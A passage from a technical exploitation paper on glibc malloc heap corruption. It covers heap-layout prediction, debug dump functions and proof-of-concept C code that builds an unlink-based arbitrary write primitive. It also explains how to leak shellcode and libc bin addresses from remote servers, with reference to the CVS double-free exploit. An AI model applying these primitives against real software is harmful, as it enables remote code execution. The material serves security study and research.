version, replacing the aa4bmoPrimitive() function is enough to obtain an
updated version.

---------------------------------------------------------------------------
--] 4.2 Heap layout analysis

You may want to read the 'Appendix I - malloc internal structures
overview' section before going on.
Analysing the targeted process heap layout and its evolution allows to
understand what is happening in the process heap in every moment, its
state, evolution, changes... etc. This allows to predict the allocator
behavior and its reaction to each of our inputs.
Being able to predict the heap layout evolution, and using it to our
advantage is extremely important in order to obtain a reliable
exploit.
To achieve this, we'll need to understand the allocation behavior of
the process (i.e. if the process allocates large structures for each
connection, if lots of free chunks/heap holes are generated by a
specific command handler, etc), which of our inputs may be used to
force a big/small allocation, etc.
We must pay attention to every use of the malloc routines, and
how/where we might be able to influence them via our input so
that a reliable situation is reached.
For example, in a double free() vulnerability scenario, we know the
second free() call (trying to free already freed memory), will
probably crash the process. Depending on the heap layout evolution
between the first free() and the second free(), the portion of memory
being freed twice may: have not changed, have been reallocated several
times, have been coalesced with other chunks or have been overwritten and
freed.

The main factors we have to recognize include:

A] chunk size: does the process allocate big memory chunks? is our 
   input stored in the heap? what commands are stored in the heap?
   is there any size limit to our input? am I able to force a heap
    top (top_chunk) extension?
B] allocation behavior: are chunks allocated for each of our
    connections? what size? are chunks allocated periodically? are
   chunks freed periodically? (i.e. async garbage collector, cache
    pruning, output buffers, etc)
C] heap holes: does the process leave holes? when? where? what size?
   can we fill the hole with our input? can we force the overflow
   condition in this hole? what is located after the hole? are we
   able to force the creation of holes?
D] original heap layout: is the heap layout predictable after process
   initialization? after accepting a client connection? (this is 
   related to the server mode)

During our tests, we use an adapted version of a real malloc
implementation taken from the glibc, which was modified to generate
debugging output for each step of the allocator's algorithms, plus three
helper functions added to dump the heap layout and state.
This allows us to understand what is going on during exploitation, the
actual state of the allocator internal structures, how our input affects
them, the heap layout, etc.
Here is the code of the functions we'll use to dump the heap state:

static void
#if __STD_C
heap_dump(arena *ar_ptr)
#else
heap_dump(ar_ptr) arena *ar_ptr;
#endif
{
  mchunkptr p;

  fprintf(stderr,"\n--- HEAP DUMP ---\n");
  fprintf(stderr,
            "            ADDRESS   SIZE               FD            BK\n");

  fprintf(stderr,"sbrk_base %p\n",
          (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) & 
            ~MALLOC_ALIGN_MASK));

  p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) &
                  ~MALLOC_ALIGN_MASK);

  for(;;) {
    fprintf(stderr, "chunk     %p 0x%.4x", p, (long)p->size);

    if(p == top(ar_ptr)) {
      fprintf(stderr, " (T)\n");
      break;
    } else if(p->size == (0|PREV_INUSE)) {
      fprintf(stderr, " (Z)\n");
      break;
    }

    if(inuse(p))
       fprintf(stderr," (A)");
    else
       fprintf(stderr," (F) | 0x%8x | 0x%8x |",p->fd,p->bk);

    if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr)))
       fprintf(stderr," (LR)");
    else if(p->fd==p->bk & ~inuse(p))
       fprintf(stderr," (LC)");

    fprintf(stderr,"\n");
    p = next_chunk(p);
  }
  fprintf(stderr,"sbrk_end  %p\n",sbrk_base+sbrked_mem);
}



static void
#if __STD_C
heap_layout(arena *ar_ptr)
#else
heap_layout(ar_ptr) arena *ar_ptr;
#endif
{
  mchunkptr p;

  fprintf(stderr,"\n--- HEAP LAYOUT ---\n");

  p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) &
                  ~MALLOC_ALIGN_MASK);

  for(;;p=next_chunk(p)) {
    if(p==top(ar_ptr)) {
       fprintf(stderr,"|T|\n\n");
       break;
    }
    if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr))) {
       fprintf(stderr,"|L|");
       continue;
    }
    if(inuse(p)) {
       fprintf(stderr,"|A|");
       continue;
    }
       fprintf(stderr,"|%lu|",bin_index(p->size));
       continue;
    }
  }
}



static void
#if __STD_C
bin_dump(arena *ar_ptr)
#else
bin_dump(ar_ptr) arena *ar_ptr;
#endif
{
  int i;
  mbinptr b;
  mchunkptr p;

  fprintf(stderr,"\n--- BIN DUMP ---\n");

  (void)mutex_lock(&ar_ptr->mutex);

  fprintf(stderr,"arena @ %p - top @ %p - top size = 0x%.4x\n",
         ar_ptr,top(ar_ptr),chunksize(top(ar_ptr)));

  for (i = 1; i < NAV; ++i)
  {
    char f = 0;
    b = bin_at(ar_ptr, i);
    for (p = last(b); p != b; p = p->bk)
    {
      if(!f){
         f = 1;
         fprintf(stderr,"   bin %d @ %p\n",i,b);
      }
      fprintf(stderr,"      free_chunk @ %p - size 0x%.4x\n",
             p,chunksize(p));
    }
  (void)mutex_unlock(&ar_ptr->mutex);
  fprintf(stderr,"\n");
}



--] 4.2.1 Proof of concept 2: Heap layout debugging

We'll use the following code to show how the debug functions help to
analyse the heap layout:

#include <malloc.h>
int main(void){
        void *curly,*larry,*moe,*po,*lala,*dipsi,*tw,*piniata;
        curly = malloc(256);
        larry = malloc(256);
        moe = malloc(256);
        po = malloc(256);
        lala = malloc(256);
        free(larry);
        free(po);
        tw = malloc(128);
        piniata = malloc(128);
        dipsi = malloc(1500);
        free(dipsi);
        free(lala);
}

The sample debugging section helps to understand malloc's basic
algorithms and data structures:

(gdb) set env LD_PRELOAD ./heapy.so

We override the real malloc with our debugging functions, heapy.so also
includes the heap layout dumping functions.

(gdb) r
Starting program: /home/jp/cerebro/heapy/debugging_sample

4               curly = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    extended top chunk:
        previous size 0x0
        new top 0x80496a0 size 0x961
        returning 0x8049598 from top chunk

(gdb) p heap_dump(0x40018040)

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0961 (T)
sbrk_end  0x804a000

(gdb) p bin_dump(0x40018040)

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80496a0 - top size = 0x0960

(gdb) p heap_layout(0x40018040)

--- HEAP LAYOUT ---
|A||T|

The first chunk is allocated, note the difference between the requested
size (256 bytes) and the size passed to chunk_alloc(). As there is no
chunk, the top needs to be extended and memory is requested to the
operating system. More memory than the needed is requested, the remaining
space is allocated to the 'top chunk'. 
In the heap_dump()'s output the (A) represents an allocated chunk, while
the (T) means the chunk is the top one. Note the top chunk's size (0x961)
has its last bit set, indicating the previous chunk is allocated:

/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use
 */

#define PREV_INUSE 0x1UL

The bin_dump()'s output shows no bin, as there is no free chunk yet,
except from the top. The heap_layout()'s output just shows an allocated
chunk next to the top.



5               larry = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80496a0 from top chunk
    new top 0x80497a8 size 0x859

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0859 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80497a8 - top size = 0x0858

--- HEAP LAYOUT ---
|A||A||T|

A new chunk is allocated from the remaining space at the top chunk. The
same happens with the next malloc() calls.



6               moe = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80497a8 from top chunk
    new top 0x80498b0 size 0x751

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0109 (A)
chunk     0x80498b0 0x0751 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80498b0 - top size = 0x0750

--- HEAP LAYOUT ---
|A||A||A||T|



7               po = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80498b0 from top chunk
    new top 0x80499b8 size 0x649
 
--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0109 (A)
chunk     0x80498b0 0x0109 (A)
chunk     0x80499b8 0x0649 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80499b8 - top size = 0x0648

--- HEAP LAYOUT ---
|A||A||A||A||T|



8               lala = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80499b8 from top chunk
    new top 0x8049ac0 size 0x541

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0109 (A)
chunk     0x80498b0 0x0109 (A)
chunk     0x80499b8 0x0109 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540

--- HEAP LAYOUT ---
|A||A||A||A||A||T|



9               free(larry);
[1679] FREE(0x80496a8) - CHUNK_FREE(0x40018040,0x80496a0)
    fronlink(0x80496a0,264,33,0x40018148,0x40018148) new free chunk

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0109 (A)
chunk     0x80499b8 0x0109 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 33 @ 0x40018148
      free_chunk @ 0x80496a0 - size 0x0108

--- HEAP LAYOUT ---
|A||33||A||A||A||T|

A chunk is freed. The frontlink() macro is called to insert the new free
chunk into the corresponding bin:

frontlink(ar_ptr, new_free_chunk, size, bin_index, bck, fwd);

Note the arena address parameter (ar_ptr) was omitted in the output.
In this case, the chunk at 0x80496a0 was inserted in the bin number 33
according to its size. As this chunk is the only one in its bin (we can
check this in the bin_dump()'s output), it's a lonely chunk (LC) (we'll
see later that being lonely makes 'him' dangerous...), its
bk and fd pointers are equal and point to the bin number 33.
In the heap_layout()'s output, the new free chunk is represented by the
number of the bin where it is located.



10              free(po);

[1679] FREE(0x80498b8) - CHUNK_FREE(0x40018040,0x80498b0)
    fronlink(0x80498b0,264,33,0x40018148,0x80496a0) new free chunk

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (F) | 0x40018148 | 0x080498b0 |
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0109 (F) | 0x080496a0 | 0x40018148 |
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 33 @ 0x40018148
      free_chunk @ 0x80496a0 - size 0x0108
      free_chunk @ 0x80498b0 - size 0x0108

--- HEAP LAYOUT ---
|A||33||A||33||A||T|

Now, we have two free chunks in the bin number 33. We can appreciate now
how the double linked list is built. The forward pointer of the chunk at
0x80498b0 points to the other chunk in the list, the backward pointer
points to the list head, the bin.
Note that there is no longer a lonely chunk. Also, we can see the
difference between a heap address and a libc address (the bin address),
0x080496a0 and 0x40018148 respectively.



11              tw = malloc(128);

[1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136)
    unlink(0x80496a0,0x80498b0,0x40018148) from big bin 33 chunk 1 (split)
    new last_remainder 0x8049728

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x40018048 | 0x40018048 | (LR)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC)
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 1 @ 0x40018048
      free_chunk @ 0x8049728 - size 0x0080
   bin 33 @ 0x40018148
      free_chunk @ 0x80498b0 - size 0x0108

--- HEAP LAYOUT ---
|A||A||L||A||33||A||T|

In this case, the requested size for the new allocation is smaller than
the size of the available free chunks. So, the first freed buffer is taken
from the bin with the unlink() macro and splitted. The first part is
allocated, the remaining free space is called the 'last remainder', which
is always stored in the first bin, as we can see in the bin_dump()'s
output.
In the heap_layout()'s output, the last remainder chunk is represented
with a L; in the heap_dump()'s output, (LR) is used.



12              piniata = malloc(128);

[1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136)
    clearing last_remainder
    frontlink(0x8049728,128,16,0x400180c0,0x400180c0) last_remainder
    unlink(0x80498b0,0x40018148,0x40018148) from big bin 33 chunk 1 (split)
    new last_remainder 0x8049938

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x0081 (F) | 0x40018048 | 0x40018048 | (LR)
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000
$25 = void

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 1 @ 0x40018048
      free_chunk @ 0x8049938 - size 0x0080
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080


--- HEAP LAYOUT ---
|A||A||16||A||A||L||A||T|

As the last_remainder size is not enough for the requested allocation, the
last remainder is cleared and inserted as a new free chunk into the
corresponding bin. Then, the other free chunk is taken from its bin and
split as in the previous step.



13              dipsi = malloc(1500);

[1679] MALLOC(1500) - CHUNK_ALLOC(0x40018040,1504)
    clearing last_remainder
    frontlink(0x8049938,128,16,0x400180c0,0x8049728) last_remainder
    extended top chunk: 
        previous size 0x540
        new top 0x804a0a0 size 0xf61
        returning 0x8049ac0 from top chunk

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 |
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x0081 (F) | 0x08049728 | 0x400180c0 |
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x05e1 (A)
chunk     0x804a0a0 0x0f61 (T)
sbrk_end  0x804b000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x804a0a0 - top size = 0x0f60
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080
      free_chunk @ 0x8049938 - size 0x0080

--- HEAP LAYOUT ---
|A||A||16||A||A||16||A||A||T|

As no available free chunk is enough for the requested allocation size,
the top chunk was extended again.



14              free(dipsi);

[1679] FREE(0x8049ac8) - CHUNK_FREE(0x40018040,0x8049ac0)
    merging with top
    new top 0x8049ac0

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 |
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x0081 (F) | 0x 8049728 | 0x400180c0 |
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x1541 (T)
sbrk_end  0x804b000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x1540
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080
      free_chunk @ 0x8049938 - size 0x0080

--- HEAP LAYOUT ---
|A||A||16||A||A||16||A||T|

The chunk next to the top chunk is freed, so it gets coalesced with it,
and it is not inserted in any bin.



15              free(lala);

[1679] FREE(0x80499c0) - CHUNK_FREE(0x40018040,0x80499b8)
    unlink(0x8049938,0x400180c0,0x8049728) for back consolidation
    merging with top
    new top 0x8049938

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x16c9 (T)
sbrk_end  0x804b000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049938 - top size = 0x16c8
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080

--- HEAP LAYOUT ---
|A||A||16||A||A||T|

Again, but this time also the chunk before the freed chunk is coalesced, as
it was already free.

---------------------------------------------------------------------------
--] 4.3 - Layout reset - initial layout prediction - server model

In this section, we analyse how different scenarios may impact on the
exploitation process.
In case of servers that get restarted, it may be useful to cause a 'heap
reset', which means crashing the process on purpose in order to obtain a 
clean and known initial heap layout.
The new heap that gets built together with the new restarted process is
in its 'initial layout'. This refers to the initial state of the heap
after the process initialization, before receiving any input from the 
user. The initial layout can be easily predicted and used as a the known
starting point for the heap layout evolution prediction, instead of using
a not virgin layout result of several modifications performed while
serving client requests. This initial layout may not vary much across
different versions of the targeted server, but in case of major changes in
the source code.
One issue very related to the heap layout analysis is the kind of process
being exploited.
In case of a process that serves several clients, heap layout evolution
prediction is harder, as may be influenced by other clients that may be
interacting with our target server while we are trying to exploit it.
However, it gets useful in case where the interaction between the server
and the client is very restricted, as it enables the attacker to  open
multiple connections to affect the same process with different input
commands.
On the other hand, exploiting a one client per process server (i.e. a
forking server) is easier, as long as we can accurately predict the
initial heap layout and we are able to populate the process memory in
a fully controlled way.
As it is obvious, a server that does not get restarted, gives us just one
shot so, for example, bruteforcing and/or 'heap reset' can't be applied.

---------------------------------------------------------------------------
--] 4.4 Obtaining information from the remote process

The idea behind the techniques in this section is to force a remote
server to give us information to aid us in finding the memory locations
needed for exploitation. 
This concept was already used as different mechanisms in the 'Bypassing
PaX ASLR' paper [13], used to bypass randomized space address processes.
Also, the idea was suggested in [4], as 'transforming a write primitive in
a read primitive'.

--] 4.4.1 Modifying server static data - finding process' DATA

This technique was originally seen in wuftpd ~{ exploits. When the ftpd
process receives a 'help' request, answers with all the available commands.
These are stored in a table which is part of the process' DATA, being a
static structure. The attacker tries to overwrite part of the structure,
and using the 'help' command until he sees a change in the server's answer.

Now the attacker knows an absolute address within the process' DATA, being
able to predict the location of the process' GOT.

--] 4.4.2 Modifying user input - finding shellcode location

The following technique allows the attacker to find the exact location of
the injected shellcode within the process' address space, being
independent of the target process.
To obtain the address, the attacker provides the process with some bogus
data, which is stored in some part of the process. Then, the basic
primitive is used, trying to write 4 bytes in the location the bogus
data was previously stored. After this, the server is forced to reply
using the supplied bogus data.
If the replayed data differs from the original supplied (taken into account
any transformation the server may perform on our input), we can be sure
that next time we send the same input sequence to the server, it will be
stored in the same place. The server's answer may be truncated if a
function expecting NULL terminating strings is used to craft it, or to
obtain the answer's length before sending it through the network.
In fact, the provided input may be stored multiple times in different
locations, we will only detect a modification when we hit the location
where the server reply is crafted.
Note we are able to try two different addresses for each connection, 
speeding up the bruteforcing mechanism.
The main requirement needed to use this trick, is being able to trigger
the aa4bmo primitive between the time the supplied data is stored and the
time the server's reply is built. Understanding the process allocation
behavior, including how is processed each available input command is
needed.

--] 4.4.2.1 Proof of concept 3 : Hitting the output

The following code simulates a process which provides us with a aa4bmo
primitive to try to find where a heap allocated output buffer is located:


#include <stdio.h>
#define SZ           256
#define SOMEOFFSET   5 + (rand() % (SZ-1))
#define PREV_INUSE   1
#define IS_MMAP      2
#define OUTPUTSZ     1024

void aa4bmoPrimitive(unsigned long what, unsigned long where){
   unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long));
   int i = 0;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<SZ;i++){
      unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ;
   }
   free(unlinkMe+SOMEOFFSET);
   return;
}

int main(int argc, char **argv){
   long where;
   char *output;
   int contador,i;

   printf("## OUTPUT hide and seek ##\n\n");
   output = (char*)malloc(OUTPUTSZ);
   memset(output,'O',OUTPUTSZ);

   for(contador=1;argv[contador]!=NULL;contador++){
      where = strtol(argv[contador], (char **)NULL, 16);
        printf("[.] trying %p\n",where);

      aa4bmoPrimitive(where,where);

      for(i=0;i<OUTPUTSZ;i++)
         if(output[i] != 'O'){
            printf("(!) you found the output @ %p :(\n",where);
            printf("[%s]\n",output);
            return 0;
         }
      printf("(-) output was not @ %p :P\n",where);
   }
   printf("(x) did not find the output <:|\n");
}


LD_PRELOAD=./heapy.so ./hitOutput 0x8049ccc 0x80498b8 0x8049cd0 0x8049cd4
0x8049cd8 0x8049cdc 0x80498c8 > output

## OUTPUT hide and seek ##

[.] trying 0x8049ccc
(-) output was not @ 0x8049ccc :P
[.] trying 0x80498b8
(-) output was not @ 0x80498b8 :P
[.] trying 0x8049cd0
(-) output was not @ 0x8049cd0 :P
[.] trying 0x8049cd4
(-) output was not @ 0x8049cd4 :P
[.] trying 0x8049cd8
(-) output was not @ 0x8049cd8 :P
[.] trying 0x8049cdc
(-) output was not @ 0x8049cdc :P
[.] trying 0x80498c8
(!) you found the output @ 0x80498c8 :(
[OOOOOOOO~X^D^H~X^D^HOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
...
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO]

Note the stamped output in the following hexdump:
...
7920 756f 6620 756f 646e 7420 6568 6f20
7475 7570 2074 2040 7830 3038 3934 6338
2038 283a 5b0a 4f4f 4f4f 4f4f 4f4f 98c8   <==
0804 98c8 0804 4f4f 4f4f 4f4f 4f4f 4f4f   <==
4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f
4f4f 4f4f 4f4f 0a5d


This bruteforcing mechanism is not completely accurate in some cases, for
example, when the target server uses an output buffering scheme.
In order to improve the technique, we might mark some part of the supplied
data as real shellcode, and other as nops, requiring the nop part to be hit
while bruteforcing in order to avoid obtaining an address in the middle of
our shellcode. Even better, we could tag each four bytes with a masked 
offset (i.e. to avoid character \x00 i.e.), when we analyse the reply we
will now obtain the expected offset to the shellcode, so being able in a
second try to see if actually in that expected address was stored our
shellcode, detecting and avoiding this way the risk of our input being
split and stored separated in the heap.

For example, in the CVS 'Directory' double free exploit [7], unrecognized
commands (i.e. 'cucucucucu') are used to populate the server heap. The
server does not answer, just stores the provided data in the heap, and
waits, until a noop or a command is received. After that, the unrecognized
command that was sent is sent back without any modification to the client.
We can provide the server with data almost without any size restriction,
this data is stored in the heap, until we force it to be replayed to us.
However, analysing how our unrecognized command is stored in the heap we
find that, instead of what we expected (a single memory chunk with our
data), there are other structures mixted with our input:

--- HEAP DUMP ---
            ADDRESS    SIZE               FD           BK
[...]
chunk     0x80e9998 0x00661 (F) | 0x40018e48 | 0x40018e48 |
chunk     0x80e9ff8 0x10008 (A)
chunk     0x80fa000 0x00ff9 (F) | 0x40018ed0 | 0x0810b000 |
chunk     0x80faff8 0x10008 (A)
chunk     0x810b000 0x00ff9 (F) | 0x080fa000 | 0x0811c000 |
chunk     0x810bff8 0x10008 (A)
chunk     0x813e000 0x04001 (T)
sbrk_end  0x8142000

This happens because error messages are buffered when generated, waiting
to be flushed, some buffering state internal structures get allocated,
and our data is split and stored in fixed size error buffers.

--] 4.4.3 Modifying user input - finding libc's DATA

In this situation, we are able to provide some input to the vulnerable
server which is then sent as output to us again. For example, in the CVS
'Directory' double free() vulnerability, we give the server and invalid
command, which is finally echoed back to the client explaining it was an
invalid command.
If we are able to force a call to free(), to an address pointing in
somewhere in the middle of our provided input, before it is sent back to
the client, we will be able to get the address of a main_arena's bin.
The ability to force a free() pointing to our supplied input, depends
on the exploitation scenario, being simple to achieve this in
'double-free' situations.
When the server frees our input, it founds a very big sized chunk, so
it links it as the first chunk (lonely chunk) of the bin. This depends
mainly on the process heap layout, but depending on what we are exploiting
it should be easy to predict which size would be needed to create the
new free chunk as a lonely one.
When frontlink() setups the new free chunk, it saves the bin address
in the fw and bk pointer of the chunk, being this what ables us to obtain
later the bin address.
Note we should be careful with our input chunk, in order to avoid the
process crashing while freeing our chunk, but this is quite simple in most
cases, i.e. providing a known address near the end of the stack.

The user provides as input a 'cushion chunk' to the target process. free()
is called in any part of our input, so our especially crafted chunk is
inserted in one of the last bins (we may know it's empty from the heap
analysis stage, avoiding then a process crash). When the provided cushion
chunk is inserted into the bin, the bin's address is written in the fd and
bk fields of the chunk's header. 

--] 4.4.3.1 Proof of concept 4 : Freeing the output

The following code creates a 'cushion chunk' as it would be sent to the
server, and calls free() at a random location within the chunk (as the 
target server would do).
The cushion chunk writes to a valid address to avoid crashing the process,
and its backward and forward pointer are set with the bin's address by
the frontlink() macro.
Then, the code looks for the wanted addresses within the output, as would
do an exploit which received the server answer.


#include <stdio.h>
#define SZ           256
#define SOMEOFFSET   5 + (rand() % (SZ-1))
#define PREV_INUSE   1
#define IS_MMAP      2

unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long where){
   unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long));
   int i = 0;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<SZ;i++){
      unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ;
   }
   printf ("(-) calling free() at random address of output buffer...\n");
   free(unlinkMe+SOMEOFFSET);
   return unlinkMe;
}

int main(int argc, char **argv){
   unsigned long *output;
   int i;

   printf("## FREEING THE OUTPUT PoC ##\n\n");
   printf("(-) creating output buffer...\n");
   output = aa4bmoPrimitive(0xbfffffc0,0xbfffffc4);
   printf("(-) looking for bin address...\n");
   for(i=0;i<SZ-1;i++)
      if(output[i] == output[i+1] && 
       ((output[i] & 0xffff0000) != 0xffff0000)) {
         printf("(!) found bin address -> %p\n",output[i]);
         return 0;
      }
   printf("(x) did not find bin address\n");
}


./freeOutput

## FREEING THE OUTPUT PoC ##

(-) creating output buffer...
(-) calling free() at random address of output buffer...
(-) looking for bin address...
(!) found bin address -> 0x4212b1dc

We get chunk free with our provided buffer:

chunk_free (ar_ptr=0x40018040, p=0x8049ab0) at heapy.c:3221
(gdb) x/20x p
0x8049ab0:      0xfffffd6d      0xfffffd69      0xfffffd65      0xfffffd61
0x8049ac0:      0xfffffd5d      0xfffffd59      0xfffffd55      0xfffffd51
0x8049ad0:      0xfffffd4d      0xfffffd49      0xfffffd45      0xfffffd41
0x8049ae0:      0xfffffd3d      0xfffffd39      0xfffffd35      0xfffffd31
0x8049af0:      0xfffffd2d      0xfffffd29      0xfffffd25      0xfffffd21
(gdb)
0x8049b00:      0xfffffd1d      0xfffffd19      0xfffffd15      0xfffffd11
0x8049b10:      0xfffffd0d      0xfffffd09      0xfffffd05      0xfffffd01
0x8049b20:      0xfffffcfd      0xfffffcf9      0xfffffcf5      0xfffffcf1
0x8049b30:      0xfffffced      0xfffffce9      0xfffffce5      0xfffffce1
0x8049b40:      0xfffffcdd      0xfffffcd9      0xfffffcd5      0xfffffcd1
(gdb)
0x8049b50:      0xfffffccd      0xfffffcc9      0xfffffcc5      0xfffffcc1
0x8049b60:      0xfffffcbd      0xfffffcb9      0xfffffcb5      0xfffffcb1
0x8049b70:      0xfffffcad      0xfffffca9      0xfffffca5      0xfffffca1
0x8049b80:      0xfffffc9d      0xfffffc99      0xfffffc95      0xfffffc91
0x8049b90:      0xfffffc8d      0xfffffc89      0xfffffc85      0xfffffc81
(gdb)

3236      next = chunk_at_offset(p, sz);
3237      nextsz = chunksize(next);
3239      if (next == top(ar_ptr)) /* merge with top */
3278      islr = 0;
3280      if (!(hd & PREV_INUSE))  /* consolidate backward */
3294      if (!(inuse_bit_at_offset(next, nextsz)))   
            /* consolidate forward */
3296        sz += nextsz;
3298        if (!islr && next->fd == last_remainder(ar_ptr))
3306          unlink(next, bck, fwd);
3315      set_head(p, sz | PREV_INUSE);
3316      next->prev_size = sz;
3317      if (!islr) {
3318        frontlink(ar_ptr, p, sz, idx, bck, fwd);

After the frontlink() macro is called with our supplied buffer, it gets
the address of the bin in which it is inserted:

fronlink(0x8049ab0,-668,126,0x40018430,0x40018430) new free chunk

(gdb) x/20x p

0x8049ab0:      0xfffffd6d      0xfffffd65      0x40018430      0x40018430
0x8049ac0:      0xfffffd5d      0xfffffd59      0xfffffd55      0xfffffd51
0x8049ad0:      0xfffffd4d      0xfffffd49      0xfffffd45      0xfffffd41
0x8049ae0:      0xfffffd3d      0xfffffd39      0xfffffd35      0xfffffd31
0x8049af0:      0xfffffd2d      0xfffffd29      0xfffffd25      0xfffffd21

(gdb) c
Continuing.
(-) looking for bin address...
(!) found bin address -> 0x40018430

Let's check the address we obtained:

(gdb) x/20x 0x40018430
0x40018430 <main_arena+1008>:   0x40018428      0x40018428      0x08049ab0
0x08049ab0
0x40018440 <main_arena+1024>:   0x40018438      0x40018438      0x40018040
